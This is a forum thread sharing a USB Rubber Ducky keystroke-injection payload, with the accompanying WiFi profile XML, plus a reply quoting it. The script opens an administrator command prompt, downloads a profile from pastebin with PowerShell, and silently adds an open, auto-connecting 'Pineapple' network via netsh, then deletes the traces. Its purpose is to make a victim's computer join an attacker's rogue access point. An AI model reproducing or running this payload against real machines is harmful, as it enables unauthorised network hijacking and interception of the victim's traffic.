Jump to content

[Payload] Pineapple Assocation (VERY FAST)


Xcellerator
 Share

Recommended Posts

Hi guys, I was browsing through a couple of the old payloads on the USB Rubber Ducky wiki and saw that one had been written to associate with the wifi pineapple. The method that was used went through the GUI and took too long. I decided that it must be possible to accomplish using netsh. I threw this script together (originally for my Teensy++, but I rewrote it for the ducky).

It uses Mubix' powershell code to download an xml file from pastebin (that I uploaded) and then adds it to the wireless profile using netsh. The whole process takes roughly 6-7 seconds on my Teensy, would be great to hear how you guys get on with it on the ducky!

Here is the code:


REM Brought to you by Xcellerator
DEFAULT_DELAY 200
DELAY 3000
GUI r
STRING cmd
MENU
STRING a
ENTER
LEFT
ENTER
STRING cd %TEMP%
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\a.xml')
ENTER
DELAY 1000
ENTER
STRING netsh wlan add profile filename="a.xml" interface="Wireless Network Connection"
ENTER
STRING del a.xml
ENTER
STRING exit
ENTER
[/CODE]

You can also find it on the wiki https://github.com/h...ion-(VERY-FAST).

The Teensy Version can be found here: http://pastebin.com/c9KSdNAe

Edited by Xcellerator
Link to comment
Share on other sites

I love it! Just to preserve this the XML is listed below:


<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>Pineapple</name>
<SSIDConfig>
<SSID>
<hex>50696E656170706C65</hex>
<name>Pineapple</name>
</SSID>
<nonBroadcast>false</nonBroadcast>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>open</authentication>
<encryption>none</encryption>
<useOneX>false</useOneX>
</authEncryption>
</security>
</MSM>
</WLANProfile>
[/CODE]

Link to comment
Share on other sites

  • 2 weeks later...

Hi guys, I was browsing through a couple of the old payloads on the USB Rubber Ducky wiki and saw that one had been written to associate with the wifi pineapple. The method that was used went through the GUI and took too long. I decided that it must be possible to accomplish using netsh. I threw this script together (originally for my Teensy++, but I rewrote it for the ducky).

It uses Mubix' powershell code to download an xml file from pastebin (that I uploaded) and then adds it to the wireless profile using netsh. The whole process takes roughly 6-7 seconds on my Teensy, would be great to hear how you guys get on with it on the ducky!

Here is the code:


REM Brought to you by Xcellerator
DEFAULT_DELAY 200
DELAY 3000
GUI r
STRING cmd
MENU
STRING a
ENTER
LEFT
ENTER
STRING cd %TEMP%
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\a.xml')
ENTER
DELAY 1000
ENTER
STRING netsh wlan add profile filename="a.xml" interface="Wireless Network Connection"
ENTER
STRING del a.xml
ENTER
STRING exit
ENTER
[/CODE]

You can also find it on the wiki https://github.com/h...ion-(VERY-FAST).

The Teensy Version can be found here: http://pastebin.com/c9KSdNAe

@ Xcellerator

I originally wrote that payload and yours looks great, thanks for making a better version as my skills are limited but progressing ever day at school.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...